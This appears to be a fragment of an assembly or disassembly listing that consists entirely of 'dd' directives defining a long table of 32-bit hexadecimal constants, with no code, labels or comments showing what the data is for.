		dd 0E644E011h, 0E8C11E01h, 20EB310h, 3F14C83h, 0DD32958h
		dd 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h, 0CD581821h
		dd 9570113h, 0C015601Bh, 268E0F21h, 13D50869h, 85500A2Ch
		dd 0B04413Bh, 1B2E35B1h, 3902936Fh, 2FA40F0h, 0AA14015Fh
		dd 57C68529h, 37827F7Ah, 7FE4F5h, 680FFCE2h, 96F32AE3h
		dd 95370E90h, 0CD54331Eh, 0E92BD6E1h, 108EAC98h, 339C487Eh
		dd 0B2897DDFh, 1797D82Dh, 1CC7CFB7h, 810430BCh,	33009EEFh
		dd 0BF963464h, 10836B2h, 79BB5060h, 0F15676B9h,	30663001h
		dd 9446BAEh, 0FC20048h,	0FF21935Eh, 0CCC913BBh,	5D944241h
		dd 0E45809D3h, 557605D0h, 247E2339h, 2EDA369h, 52F48A60h
		dd 0A0585F58h, 0EF266B9Eh, 1C3201DEh, 9D89A691h, 48A23CD1h
		dd 90022277h, 6986FC46h, 0CB4E11C4h, 2ED47594h,	1C62EBBh
		dd 9D0BFFBFh, 18D3845h,	8904C283h, 0F67F2050h, 0A43EE0B1h
		dd 2012B069h, 31151E25h, 4890ED8Dh, 0DEBC10B2h,	2F40EF4Ah
		dd 0C261A569h, 0F3F20E6Eh, 803FA9FEh, 54FB5BAAh, 66483337h
		dd 0A986258Bh, 0CFBC4D77h, 9156D8E0h, 0F059F58h, 8DF8055h
		dd 2029BB05h, 0E0F0A724h, 33AD24BDh, 4DFF523Eh,	3002C7B4h
		dd 11E924Ch, 42BA280Bh,	5FAACACBh, 7F78D053h, 4F553AD4h
		dd 0DE967680h, 89FD8A50h, 509E72B0h, 128F5BDCh,	19650AAEh
		dd 6DFF527Eh, 0BD3E40B1h, 660CAEA9h, 0F80C2751h, 451A5BF5h
		dd 40EF107h, 0C9163106h, 3813D9A6h, 12308E04h, 0C0B29BEAh
		dd 10D608B9h, 50450E9Eh, 8B22B660h, 97AB61D7h, 92C46340h
		dd 5E9578ACh, 0E30B7E53h, 0CB719529h, 1DC4B7E6h, 0F0DAF6ABh
		dd 5F79AF0h, 70AD8DDFh,	38BE0E2h, 1D44CFAFh, 0FB89BC60h
		dd 2C7C5201h, 0A549F931h, 0EFD6288h, 0AB0C4D2Ch, 40C5C803h
		dd 9D14232Fh, 84D51555h, 0E01C02A9h, 5D5E7D69h,	78C03C4Dh
		dd 5CB81825h, 60848C66h, 0E1B1C3EEh, 0C14F2282h, 65D6C740h
		dd 23D6C47Fh, 0F2C7C519h, 180300ADh, 0B29F6536h, 0EF990E32h
		dd 4B8716B9h, 56B3706Eh, 70B0E40Ah, 3150D905h, 88B06D95h
		dd 42C6695Bh, 2FE95682h, 7D20B6E4h, 5837E119h, 0E95D5E0h
		dd 408D980Bh, 0BE890EB1h, 204F2450h, 677D9F53h,	6BA23100h
		dd 2B92B315h, 38E970BCh, 0BACAFFF3h, 223A236Bh,	0A789AA39h
		dd 0CD57C18Bh, 0F35A6005h, 6102E7C6h, 1B7B1EECh, 95157051h
		dd 5643F2D6h, 0AFD5BA09h, 5090C4A9h, 690021A2h,	0F07C560Dh
		dd 6BFE432Dh, 8B903002h, 5D21DD9Dh, 7D80CD59h, 0DFD97B44h
		dd 0B1F6FFh, 3AD8ED5Dh,	6AA235A4h, 0DC697E97h, 7CA2A803h
		dd 6CBB71Ch, 1ABF6642h,	9012C6F2h, 0C8BA26B2h, 33048CDCh
		dd 0EE9953A5h, 0F9EAF4BAh, 0DA9053h, 0C9ECFAA2h, 37EFCA3h
		dd 0D7ABEDAEh, 52925750h, 9B404C56h, 3AFF261Dh,	6F174DD6h
		dd 270B001Fh, 6EEEC8E7h, 0D7EC8625h, 905B0A02h,	7DC455Ch
		dd 0F5A39068h, 0FEA7101h, 93D728Dh, 7D6A39B7h, 0E0CFE8EDh
		dd 117713A2h, 0B38D025Dh, 0D8B7BF0Ah, 0BCF1A2AAh, 0F76B7B92h
		dd 0B0965628h, 0E2B4C5B6h, 4B91E005h, 8918CCC2h, 59C1BD26h
		dd 0B189299Dh, 0A618791Eh, 0FC00D6BEh, 3216F28h, 0B0919FDAh
		dd 4BF77C21h, 2113CAE4h, 1818F967h, 0AD4102E2h,	26A917Ch
		dd 50021F78h, 5C1777BBh, 2E395C4Dh, 0D400DC76h,	6A108220h
		dd 0F819CF9h, 0EE4925CBh, 0D9A5B3C5h, 4096C51h,	12798D29h
		dd 5C97BB92h, 0B29A70D8h, 0E92BF981h, 0DAACB6h,	80222DA9h
		dd 8BAC7527h, 0BE8CFE4Bh, 8A5E97F5h, 0D7D8A53Eh, 0E0B78998h
		dd 54B93297h, 61640EDh,	7E006E96h, 61BA9128h, 95C83D49h
		dd 0AFA06DF6h, 0CD99DB4Bh
		dd 1A56E2Eh, 0A8978032h, 742EFB8Bh, 0A082F6E8h,	1095D35h
		dd 0D8F0A148h, 0E02A13E7h, 30418D95h, 30F71D2Fh, 0FF6AF80Dh
		dd 655C9198h, 1E5C4E3h,	0F08CF6AFh, 12683879h, 0B23F0E72h
		dd 0E395019Ah, 0B9534581h, 692035F9h, 740A1246h, 27B90801h
		dd 7F125B13h, 82224E6h,	12A9BAC4h, 0E45DB009h, 18E5F021h
		dd 8455F710h, 9704C623h, 70E6C29Eh, 49A4CCh, 531E5494h
		dd 0B5C15B48h, 80050F7Eh, 71E412E3h, 3A0C21C0h,	0D2FD4B8Ah
		dd 729CA39h, 7AE9023Eh,	0CCFA4B37h, 0C3168133h,	7F078D3Fh
		dd 30848531h, 89822FBCh, 586A2D9Dh, 0B820215Ch,	2B80957Ah
		dd 0A55EC7C8h, 4570C925h, 12E9AD2Ch, 2B2DA56Ah,	0D96F0539h
		dd 112AEA2h, 4C10F203h,	2151728Eh, 38CA2109h, 4EBC0B1h
		dd 44532C6h, 0B535C986h, 0A7F9B89Bh, 30AF31B6h,	81174AE9h
		dd 0E412EFD3h, 89AB1801h, 1995CC99h, 263F4EB6h,	6C2597B5h
		dd 882945FFh, 94132DAEh, 0FE2621A5h, 943192B9h,	0BF7000EDh
		dd 4A9DEB45h, 2FAD5AC4h, 0B8A105BCh, 38290920h,	460F80A8h
		dd 8565EA77h, 0BA30E627h, 1A5C8364h, 5CDA6918h,	0DCC054h
		dd 840EC961h, 85E1BCF5h, 1216DC49h, 11F325BAh, 23134F49h
		dd 0AE82ABBDh, 76F85DB9h, 90820F2Dh, 4BA5BB65h,	0E6D385E5h
		dd 9DDCE0E8h, 81CCA042h, 78509DFh, 0FA714D78h, 0F2181CD1h
		dd 0CF866301h, 74E46218h, 0E8F3EB30h, 7B2E25B4h, 0BA4E3864h
		dd 41155FCCh, 0A96D2B16h, 1988460Ah, 907DB5C3h,	0DBB7ED3h
		dd 14019D03h, 30202A66h, 3EC10FCBh, 450090E1h, 72B2DFB6h
		dd 1F4A7020h, 876B40FAh, 0F7FA2F2Ah, 2DBEBF4Ah,	0D45947CEh
		dd 335B0E32h, 9101D56Fh, 0A405A0EBh, 32DBF82Eh,	0CD89884Bh
		dd 0A9B8397Dh, 397B6405h, 678C7DD9h, 8CD30023h,	598B1A35h
		dd 0A50716DDh, 78C25358h, 0D16EDF22h, 858A413h,	66252125h
		dd 675697BBh, 329B01D6h, 65762048h, 63530DFh, 4D9D1084h
		dd 0D4CA4A19h, 6FDC8AC5h, 7FC0018Bh, 9A592E33h,	4BA9C124h
		dd 25A28A42h, 0C33D5F6Fh, 13E1C839h, 78A601C9h,	6979E866h
		dd 0E19D9B95h, 9A721185h, 3216BB02h, 274DE1FFh,	2E300EEh
		dd 0C054333h, 7C795DE5h, 1626E7ECh, 1597BF9Fh, 0F98B3F9Dh
		dd 0E3CF0437h, 91FC2343h, 61B1B19Dh, 0A28A56Ch,	1C450120h
		dd 5EF10420h, 86882C20h, 0FE95D374h, 1BFADEB5h,	66BBC417h
		dd 0B14A30FBh, 0FE3A3F44h, 8D5B015Dh, 9BBDD071h, 7C95170h
		dd 3F85827Fh, 92C53401h, 665B604Bh, 7C843370h, 89800E78h
		dd 0ED09D187h, 4A9EC270h, 0EC3702DCh, 3988E994h, 5526C35Ch
		dd 53198069h, 97EADD45h, 531FA324h, 0C16C9AABh,	74CCEB5Dh
		dd 0FD50A8DCh, 4ADC4E20h, 31EC8CE4h, 267D9510h,	7F94DD4Ah
		dd 3DA0B8E6h, 0B701CB11h, 160879C1h, 562C50DAh,	8218DB5Ah
		dd 50E33DB2h, 1001E06Fh, 134C195h, 0C7312968h, 608281BEh
		dd 4157D2D6h, 7B708673h, 0CAF60471h, 0C4E1D84Ah, 5220136Eh
		dd 4A00A7E9h, 256C3FEEh, 454E6D6h, 0BADAC4BFh, 0D39FB870h
		dd 3707976Fh, 21068638h, 28B4E934h, 335984B2h, 0F7BB312h
		dd 700D9D31h, 0B60E00A5h, 819D095Ch, 9A951AB2h,	70EB5363h
		dd 5F023BFAh, 0D0EAC8D3h, 0B516601Ch, 0BD5FCE29h, 25511BEAh
		dd 0B5FF8D6Bh, 194116F5h, 2B89AFA5h, 0AB856BDh,	907A1749h
		dd 40421F0h, 0B8D1CDBFh, 6BFF4A6Ah, 2D0A006Ah, 0B305F9C5h
		dd 0A0B11882h, 28B9EACBh, 0C5605080h, 0E5EAC468h, 0E8A92E3Fh
		dd 0C0F7541Dh, 3883A079h, 0B501D142h, 9C65F51Fh, 252ED67Dh
		dd 0BCBBB987h, 37BC0643h, 19058D0Fh, 39ABF48h, 0E7685F3Eh
		dd 4C619BDEh, 0E825DEA4h, 69E9C7A0h, 0CF010F39h, 4F152F0Bh
		dd 60FC1983h, 975F7261h, 0DD18AD01h, 77CDE677h,	6AE418E0h
		dd 3E8E0045h, 0F31BD150h, 0DD4EB529h, 0CA9D734Bh, 62D6564Ch
		dd 0B97E8C0Fh, 0A0962h,	50FD8A90h, 58BFB73Bh, 625D2D02h
		dd 11E2B7BDh, 0CA33801Dh, 222ECE5h, 0D6518709h,	73C2617Fh
		dd 9097DD7Ah, 0DED9CAh,	9E585ACBh, 0E20A1C9Dh, 0D465BD04h
		dd 0CDB835B7h, 884629B2h, 4A1F9495h, 277AAE2Fh,	3C52BB02h
		dd 44DC8531h, 2C764A5h,	0BA2BCB81h, 7A1D7029h, 3D704CDBh
		dd 0C63B0163h, 0E69FF97Fh, 0C0A65BA6h, 294C9951h, 1019258Dh
		dd 0D21903E7h, 0EA423355h, 0BF691E1Eh, 0D95927h, 0BE431613h
		dd 2E05C002h, 0D8BF0FE8h, 91CF9F3h, 0E2145285h,	0CFABD2E2h
		dd 647DCE5Bh, 7EC0FF16h, 97FAB70Fh, 0F195E730h,	322B2041h
		dd 0C07650E5h, 5B468C40h, 9EB40057h, 0F1B362C1h, 360048C8h
		dd 8BF08AD5h, 4E50E5FFh, 3D18852h, 2A1CBD00h, 5F573356h
		dd 2231690Fh, 469EBEBh,	0F32F09BAh, 2CDE7110h, 5ED9150Fh
		dd 2709929Fh, 5CD54229h, 810F621Bh, 80DF5B55h, 0F5913D68h
		dd 9146447h, 9D43381h, 7BAAEABAh, 63821312h, 0EDCD5D46h
		dd 0A26C80E3h, 92A1658h, 62B17468h, 8323400h, 0B61E9F89h
		dd 1A12AB71h, 11C2BF3h,	0A577AE8Dh, 379704C6h, 11820237h
		dd 235EFC22h, 465C80EAh, 7E692414h, 811A4908h, 0BB6004C2h
		dd 4F4EF093h, 15C688EDh, 0DA810F2Dh, 76207241h,	5089C461h
		dd 0B9CC2DEDh, 658D3F40h, 89EABC1Ch, 317B14D1h,	0C0D04DA7h
		dd 61D49B9Eh, 1D6DE312h, 0E9403BF3h, 0BCE5B0F1h, 467060F8h
		dd 3E17E1E7h, 0F49B6AC1h, 7A9069C0h, 0BB04A503h, 7572CA40h
		dd 83A5899h, 9A2D08EDh,	0FD5298CDh, 3EF0343h, 55E08388h
		dd 1280C7B8h, 964DFB02h, 0C250FA8Bh, 8735DFDh, 3A7FF183h
		dd 0B796EA11h, 93D81C8h, 3A10BDB5h, 89D768h, 0D7130203h
		dd 7CF0C5EAh, 5E069A97h, 0C07DDC64h, 0D98B0512h, 26881AF2h
		dd 1105B8ACh, 63F096D3h, 411FB450h, 0DC130B43h,	0C09DE66Eh
		dd 12172B1h, 8BD6DA28h,	30965BD8h, 456C17Eh, 4A2F586Dh
		dd 0F6BBF0D4h, 89B6F187h, 1110F44Ah, 0BBB49235h, 8AD94B8Ah
		dd 0D57125B7h, 0F700B1BDh, 25E73AEDh, 9D664B2Dh, 0C09D5AB3h
		dd 5FEE5B8Fh, 91FC25ECh, 0E00CC64h, 3EC1A277h, 1628EA1h
		dd 8B03604Ah, 2EBBD320h, 0EAC8A116h, 0EB1600ABh, 0F856E10Fh
		dd 3C2505E8h, 0AEABC726h, 0C572D434h, 431CA400h, 91199EFCh
		dd 0CB800499h, 0B85FE9A0h, 8B2F7D9Ah, 1137C1h, 0EB07C13Dh
		dd 0A601960Eh, 9D0B98D0h, 0E93B0121h, 7D2D94FEh, 0B1500F40h
		dd 0A83780FEh, 0E1DF7B52h, 2864627h, 0DE6AFC9Ch, 4500DE85h
		dd 0A12D6E57h, 58156A3h, 2C5EB8D3h, 2A75B116h, 0BC00206Eh
		dd 68EB9976h, 0DAC2E16Fh, 7426C21Fh, 924BDE9Eh,	0BCA99885h
		dd 9A025EB8h, 6F578C15h, 10C5CE86h, 0A16599Dh, 0A95B5650h
		dd 0D60ED7A5h, 0A17A52h, 833E133Bh, 972742BEh, 0F955633Ah
		dd 6F0AF9B3h, 0E106720h, 215EEEDh, 4B8F5ED3h, 0CEE0C754h
		dd 1A975BF8h, 64185570h, 8F00CB49h, 22F12DFEh, 7ED09Ch
		dd 7AA2061Ah, 0FF307B3Dh, 8501D109h, 5949299Dh,	2FBC4F59h
		dd 8040674Fh, 97026A50h, 4700AD37h, 0B2C4EC8h, 5887000Ah
		dd 7CD4D781h, 0EBEC3E31h, 0D935C00Ah, 0ED24E45Fh, 9234371Eh
		dd 0BC8EE815h, 0C0AA09A9h, 2A70B746h, 94B0DF59h, 4BBD381Eh
		dd 0A0BD37EBh, 9AE40827h, 0F3DB3300h, 645D5E71h, 9857AAFh
		dd 0CDFE96Ah, 29628F71h, 0E4400BC2h, 0DFA6E14Dh, 0B9AA0800h
		dd 78C1D43Bh, 0C9300FBh, 0F56A74ABh, 46253AC2h,	8085C6E9h
		dd 24A2E80h, 50FBDB80h,	9F515160h, 8A575B8Eh, 9BD8F61h
		dd 5C0A91BDh, 5B57524Bh
		dd 40D358B7h, 0BB37C701h, 77953606h, 0AB9D532Eh, 6812BDEh
		dd 2E0792B7h, 0E6BB9B34h, 1501B514h, 0FF6A62B7h, 5AF02936h
		dd 0EF01C049h, 891B3BC6h, 0BD2E0985h, 87CF0B89h, 89DE0FE5h
		dd 51965C0Ah, 818C1514h, 0E32CF680h, 251F2EF0h,	0F746B4h
		dd 71E4F91Fh, 0BD5B09BFh, 7B0072C2h, 767D9708h,	0EC5C2497h
		dd 33A6BBh, 3D17526Ch, 9DC7B6h,	0D0DAAA8Bh, 6344252Ch
		dd 24CAF001h, 11E9898Ah, 0C1713380h, 0DAA9A173h, 7A09D1Ch
		dd 3AEB0300h, 251E12F5h, 88C25B81h, 2CBA96C9h, 256DC467h
		dd 808E0113h, 2EF544E3h, 66608800h, 0B089A6BEh,	41A4B76Ah
		dd 1C8EB861h, 0BD8AC82Bh, 8B899481h, 42985CD1h,	4502B2B3h
		dd 0B5310001h, 0C6951B71h, 888B7092h, 0A5219501h, 11F5A41Eh
		dd 0CD512807h, 2DE6F302h, 77D03B5Bh, 0BD841751h, 0E9062C95h
		dd 0F54A1744h, 0B8F25EFh, 0B580CAAh, 31970EF6h,	0CD0C2A7Dh
		dd 0AD111E42h, 95311C07h, 6B900590h, 0FF4B34Ah,	92918509h
		dd 0D2847EE2h, 16233E29h, 0ED302F04h, 8CE86EB9h, 0A6B6FA01h
		dd 0DA1897F0h, 0D1B5E840h, 94D69D0Eh, 0D436FE52h, 8FB9950Ah
		dd 484FA108h, 0FCE18928h, 43FF6677h, 1EDA3081h,	0EF56FABFh
		dd 2BD4312Bh, 9CE93AC0h, 1C01F2ACh, 61541D51h, 1C203F63h
		dd 359933E3h, 68445F4h,	0FC72D22Bh, 6F369731h, 2C24295h
		dd 1A01F8h, 7A3BFFBBh, 894A4Bh,	0D4807C38h, 19E3ADBEh
		dd 3E0FAC31h, 0C9385BDEh, 0BD8960C0h, 0ABB71DB1h, 2544C607h
		dd 0E46E61D6h, 1D4AABEh, 0EF46A8EBh, 0D180A26Ch, 2D835110h
		dd 697E8959h, 7AE5591Fh, 0BD70C8DBh, 40FD94E4h,	3C40226Dh
		dd 8597D300h, 92F9D8F2h, 0E58D1001h, 0FD205F28h, 14D25C7h
		dd 216EA3F3h, 0D179184Ch, 0CC31C165h, 4257710h,	3C08C512h
		dd 794821C5h, 12ED4840h, 0F2B62099h, 0D19D107Eh, 0C1DBA51Ch
		dd 13EADDC0h, 70CABDFFh, 0D5C06949h, 8C3E12h, 831950B6h
		dd 5A2F0AC3h, 0C24AF402h, 557DB189h, 0ADB7CB89h, 0D6843182h
		dd 79ED8274h, 711C5C01h, 84841520h, 2CA2F5A8h, 0DC065C29h
		dd 9409111Ch, 326BF140h, 977D04F8h, 503F5B44h, 0BE408405h
		dd 23AFA561h, 1EB0CB08h, 7809A41Fh, 8BC346C4h, 12DBC615h
		dd 0E25B2391h, 939F8E39h, 29808F9Eh, 9993F6D8h,	6016AE12h
		dd 0C2E6DAEEh, 5157894Eh, 0DC93031Dh, 6F1B77Ah,	0E117CCD6h
		dd 72A28E00h, 5FB2F8B0h, 2C0997F5h, 0AE950B58h,	4C761100h
		dd 0DEC98D87h, 10A56751h, 0F688691Eh, 0A43601C9h, 81D5DE1h
		dd 0B5235Ah, 0AC6D40F9h, 4CEF703h, 1EE7DD70h, 0C0FCAC5Bh
		dd 5836EEBFh, 6904A01h,	418C0F2Eh, 617C5BE0h, 2804F55Ch
		dd 60048E3Eh, 9ED8503h,	5FD9CA5h, 97D16102h, 80134500h
		dd 39D9F6EEh, 7812A468h, 5BDDB095h, 6AA69B17h, 46E043E6h
		dd 30FD84DAh, 0D62FD362h, 64D6ED0Fh, 1B4601Ch, 9EE005E6h
		dd 5DD9155h, 0D4E195F7h, 92D9A884h, 8248DBFAh, 0E0D4A993h
		dd 82157136h, 4005F004h, 66C2DCBFh, 0D2E9241Ah,	0E146A500h
		dd 2076495h, 966C438Ch,	97EC9A44h, 0EDC45B4Ah, 53B013F7h
		dd 0D40907E4h, 73D8F7BDh, 1FDDA705h, 754280D8h,	4BBB9759h
		dd 27C2F013h, 1219B50Eh, 554800E7h, 0D2AA91Bh, 20411110h
		dd 0BDB0B312h, 59DAD31Fh, 16666D80h, 3325D1B8h,	0CDFD62D8h
		dd 13EEE028h, 0D6EE3163h, 0B77E960Bh, 0F89C05CDh, 9B3A5FF1h
		dd 78E3825Ch, 22C9F6BDh, 9D331C90h, 0E9F824C9h,	10804E7Eh
		dd 1BA56B12h, 20F4B67h,	5B9D0C53h, 0B7A5B055h, 545F90FEh
		dd 76689FEDh, 697E010Ah, 0B9BB5250h, 0F20E81Dh,	4B1314Ch
		dd 585A0755h, 0F504F4ACh, 0AB6961EEh, 7602576Eh, 0DFB8A45Fh
		dd 12022861h, 290BF451h, 0B5F725A8h, 7E6486A2h,	4825B246h
		dd 40425096h, 4299901Eh, 20D69880h, 0C1D55634h,	5FD98AF0h
		dd 5B0B7F90h, 48CC3822h, 0EB98008Ch, 43471AB9h,	18006A79h
		dd 0BEC81737h, 4D2E4639h, 61893656h, 1FC0904Dh,	0B1CF8B60h
		dd 8E05838Ah, 11F81EFEh, 0F9A66113h, 0E0C55A04h, 0A1C08E87h
		dd 254599C8h, 28C55FFBh, 0CD259CA8h, 1C3E670Eh,	6609200Ch
		dd 5FA64ABBh, 367811EAh, 72059D95h, 0F7525DE0h,	95220D80h
		dd 0BC43C89Ch, 0C8C3D53Eh, 53BB81A9h, 79402FF5h, 0D58582D2h
		dd 0E1BD560Fh, 6455BD2Bh, 8101519Fh, 0C28896E7h, 342B5B4Ch
		dd 0A58EC113h, 0A7752B14h, 9E082E6h, 80A0FE4Bh,	0D4B0ACBh
		dd 6096950Eh, 1A3DEA5Ah, 1EB33C50h, 8041DBDFh, 0E01170B2h
		dd 998D1213h, 0DAB0510h, 488F716h, 34E59D2Bh, 3CFA9ADh
		dd 2C84AE93h, 0A4DB8335h, 5F6275C0h, 7B4AF6F0h,	0A23092CDh
		dd 0DD0E4A49h, 0BE127A92h, 15B276A6h, 954B5930h, 754D7189h
		dd 3108D7C0h, 7954BBDh,	81EB8129h, 2B40379Fh, 0E7A68512h
		dd 66C1E5E3h, 7C742B78h, 0B4A8D9EDh, 46F76B00h,	4C80C1CCh
		dd 7E9A95A9h, 79710F40h, 0CFF98A2Fh, 362C4009h,	7B02FFE1h
		dd 1372970Ah, 0FCD76107h, 96264CC6h, 0C4182DA8h, 961CF8F5h
		dd 1EB06050h, 0F26158FAh, 0FE8A2C56h, 0D41EA670h, 0FB011746h
		dd 0FF3275Eh, 4C17386h,	372689C7h, 33D656ACh, 0B5C857BCh
		dd 0AE64810Ah, 44AC5F88h, 0B2939A2h, 0D21A521Bh, 82F330CAh
		dd 0D30F38DAh, 0D25369F3h, 4D9435DBh, 51017064h, 9BEB93A9h
		dd 0B899807Dh, 4684AFAh, 57056594h, 0C17AAC2Eh,	0FE9D98Bh
		dd 5AAB3580h, 0BC4C05B8h, 0B2446E00h, 0CA0A14F9h, 0B6624AD6h
		dd 3319B2AEh, 0FDEDA088h, 6689CF25h, 70BEBB8Eh,	0FF4C5C78h
		dd 894B059Bh, 0D7C4725Eh, 93A2B2A8h, 1F6E0FCh, 0A1506E10h
		dd 6C880F68h, 0D1BD8263h, 0BC530928h, 4D6A9ACh,	7510D3E7h
		dd 8034E8AFh, 3627AB5Dh, 9D12003Ah, 1D770E8h, 0AA01EDA7h
		dd 0DB86672Ch, 132BC944h, 0B878B9BFh, 8B80172Dh, 0ED9C04DFh
		dd 7F3CAB1Ah, 12AF681h,	0E928F95Ah, 0C6FFF434h,	2A70227Bh
		dd 0B5C4007Dh, 0B2E37094h, 17805CEh, 0A0005D4Bh, 4DD05EBFh
		dd 0C18B2B1Ch, 6B3378DAh, 73708412h, 205BD7B3h,	0BB029BA3h
		dd 45C33400h, 0D01E934Dh, 26B001A0h, 67237054h,	0FC03090h
		dd 0BC2988h, 0E2044755h, 0DB44DDE7h, 83AF7204h,	47BCC2B9h
		dd 0EF95BC80h, 7F00E905h, 0D36B60E2h, 1C9059D4h, 9D5B5F8Ah
		dd 0E6DAD50h, 6676D3C0h, 0CB102A29h, 6EE53E65h,	0A1DB13FBh
		dd 908ABB01h, 72BAF041h, 0AB994E7Eh, 0DB051452h, 9104C395h
		dd 60ABD107h, 0E699DB82h, 0FAA7C811h, 32F7D256h, 0A7806B2Fh
		dd 34FA54BBh, 505B2100h, 16B274BFh, 0D220FD5Dh,	21608909h
		dd 0E28660E2h, 61E06418h, 4245BDBDh, 51D4691Ch,	0CF30B0D6h
		dd 604BA0E4h, 0FCBC388h, 896FC0C9h, 81B615A0h, 4F094DDEh
		dd 59614341h, 0DE29ACC0h, 0D9301427h, 0D2E1AD7Ch, 4DCD2A26h
		dd 4D6A3Fh, 12A2EEB4h, 20E8ED5h, 9167643h, 15F0859Dh, 14955398h
		dd 18C45F9h, 11296195h,	8D2F6002h, 2560607Bh, 80D8324Eh
		dd 6F0400B2h, 613C56CDh, 52485090h, 0FBD3040Fh,	34EC310Fh
		dd 0CC039380h, 5A12DBECh, 0B2C85058h, 8D0C049Dh, 0D0CC2F8Ch
		dd 0E99E4CCCh, 7A642200h, 76AD636Fh, 0B7560990h, 9F765B68h
		dd 0D4095EE9h, 3CF2E100h, 0E33B2EE5h, 7C9F28CFh, 80238085h
		dd 0C8AF61F3h, 0D2E9C0BEh, 20779C55h, 0B32DD111h, 0C01ACD5Fh
		dd 0B00618B3h, 80D4AC00h, 8988E6D9h, 8F920BDh, 0A4AE3F4h
		dd 0DB2FFCCDh, 0C848801Ch, 780E37C9h, 502D246Ah, 44492CEAh
		dd 0C91EAE90h
		dd 0BC40DDFAh, 899304DFh, 0B80E4D8Dh, 0EA09A332h, 0B528F8B5h
		dd 0BD107E4Eh, 9A321CDh, 374935E2h, 0DBD5606Ah,	512EA0EEh
		dd 0DD1D262Ah, 1D35A72Dh, 44C15959h, 12E3501Fh,	31AD9ADEh
		dd 0A9B64780h, 380ED2D1h, 0A22B881Bh, 7FFCBCFAh, 0F8337F58h
		dd 84599E53h, 71E45F03h, 245E416h, 0EAC863ACh, 12187B4Bh
		dd 3FA7B1DAh, 0D18175ADh, 0D42AC34h, 138DF901h,	0ACC1D396h
		dd 7D6C6585h, 0B5A18252h, 0B0FE1892h, 524C60ACh, 6B29C058h
		dd 1E7368Ah, 5AD3E0D1h,	2411958Bh, 2B0361E7h, 519D31C8h
		dd 0D1670A19h, 42C48F0Fh, 0C99887E9h, 27D22615h, 5F069E10h
		dd 7502D164h, 565FF952h, 68D128D6h, 89BD0F12h, 0C55A841Ah
		dd 0BBC017E5h, 60E9FAE6h, 0B509134Dh, 69C61B55h, 903FF8Dh
		dd 12719D33h, 3211C45Bh, 7BC07858h, 0C428DB2Ah,	4E117600h
		dd 0E2CD433Bh, 640A07D6h, 31FAE0A2h, 44A583A6h,	8BA4062Eh
		dd 0BD0AA6D9h, 7095896Dh, 20CC4C25h, 0F2D49F7h,	8A592182h
		dd 6D256AFDh, 4E36E83Bh, 23156AFEh, 5D013D19h, 69B1DD02h
		dd 0AF1D21B9h, 0CCE5ED1Ch, 6C027BB6h, 0B4AE078Eh, 2DB55647h
		dd 6DC09B6Dh, 4AC290Ah,	360164BFh, 9DADE06Ch, 8D1D6920h
		dd 0BE88C12Dh, 0D8A9CDF9h, 42777C28h, 0B897B870h, 78DE6F78h
		dd 7AE40001h, 0D2F850EFh, 0FD009D19h, 0EC0D4FBFh, 0B0B9618Ah
		dd 64D709E8h, 0EB0B5FC5h, 2A0A79E1h, 9A5E50DFh,	16C9806Bh
		dd 1A86AE9h, 8917482Fh,	3A08AD85h, 3EBC59BDh, 0E7C23000h
		dd 0C880BBFDh, 89094B6Fh, 0D86E7F21h, 5879F64Ah, 21B64E91h
		dd 0DA3118B2h, 48C41AF8h, 0B11301D8h, 0CD17210Eh, 5A2C2E32h
		dd 593A97DAh, 2FD4EA5Eh, 0F087EC80h, 0B5899088h, 179704B1h
		dd 0A7EAA452h, 34C04C6Dh, 0EA92FBC9h, 5C93250Bh, 80122DC5h
		dd 87DA9EFEh, 0B8D7E5F1h, 7B6FDF09h, 4F974D40h,	1D151CF5h
		dd 4E5BA5B0h, 9560319Ch, 1C644A47h, 8AFD3660h, 0DCD46801h
		dd 569E8EE5h, 0E1F90120h, 2A5C5B02h, 0E6146B51h, 0D00DE0CCh
		dd 0E3104839h, 481B4510h, 0DC4B74D9h, 5022518Ah, 8093198h
		dd 71FA8A78h, 2707460Dh, 1D3DBAC4h, 1688AB16h, 0F7252EB1h
		dd 783B1886h, 0DFD2349Dh, 2544CEA1h, 4850D1A9h,	0EE9A25EBh
		dd 1541D669h, 28D55005h, 76A5BF22h, 5CB52F13h, 50891491h
		dd 1071C6FDh, 5E1D399Dh, 122987CCh, 0A919A9BDh,	858ACBE9h
		dd 28BD9D2Dh, 0DDA7503Ch, 0E78013E0h, 4C6A262Dh, 0C2E87E9Bh
		dd 1F03FF55h, 7700CB6Ch, 4D94F02Dh, 2EF86Ch, 46780610h
		dd 0C9A41EBFh, 0D268B09h, 0B34DFA5Dh, 0F0E32D3Ah, 0D81AB4ECh
		dd 0CBBEE40h, 685444B4h, 82AB8B22h, 2963424Ah, 33A9F8ABh
		dd 0FC29D190h, 2260DA12h, 0A47F5194h, 8B958F9h,	1FCF6BD2h
		dd 6A09E66Dh, 27FE5925h, 45DB7F5h, 80F13752h, 1893D01Eh
		dd 48E94B09h, 91EDF502h, 38C6DAE0h, 830950AFh, 892D4B1Bh
		dd 0F69B2B17h, 0B1A956C0h, 6712F41Dh, 28E1FC5Eh, 0C6FBDE6Bh
		dd 0BA09F5Eh, 850F1101h, 2AF8A899h, 0D1D134DAh,	36AD23C0h
		dd 9955420h, 0A528595Fh, 21503890h, 1E249E00h, 9CB740E3h
		dd 17FF5857h, 36E5940Eh, 8999C382h, 80F2B755h, 9DF1CEA6h
		dd 60488085h, 6ABFA4F8h, 0AC5C0028h, 950964E0h,	4A065F21h
		dd 9066D79h, 0D0790446h, 851411A4h, 42C44A07h, 0AD6EEAh
		dd 1288E47h, 4B67B212h,	23EF2FCh, 16D7DFC1h, 0BDCA817Fh
		dd 362E8B77h, 0F120A234h, 0F9FA04h, 5735D068h, 45BF515Ah
		dd 6BEB0509h, 1F2B705Bh, 0AF48362Fh, 501C2DB7h,	0E46CD9C0h
		dd 275C87CEh, 0AA77B67Ch, 7969637Eh, 5F50A5A0h,	4D952916h
		dd 41B20F52h, 0C98ADB5Eh, 0A5FB82D9h, 0D0DD2E2Ch, 5E734913h
		dd 0F5BB2F30h, 30922527h, 0FB8BB4C0h, 0F266649Dh, 2752585h
		dd 1679595Bh, 5136118h,	44B4E86Bh, 0C4500A0h, 9E8818D5h
		dd 0C12D5E4Dh, 90014422h, 0DE2D54FFh, 50612C5Bh, 0D781788Fh
		dd 181D7802h, 5C5B5F4Dh, 0B0545A40h, 0DE3E4751h, 0C9FED2E8h
		dd 0FFF340F2h, 0BFBB39E9h, 4B5401F0h, 0BC758EF5h, 0BBC3F0BBh
		dd 7E3478E0h, 0E8169601h, 1EA98DA3h, 680B203Eh,	0DD0099F0h
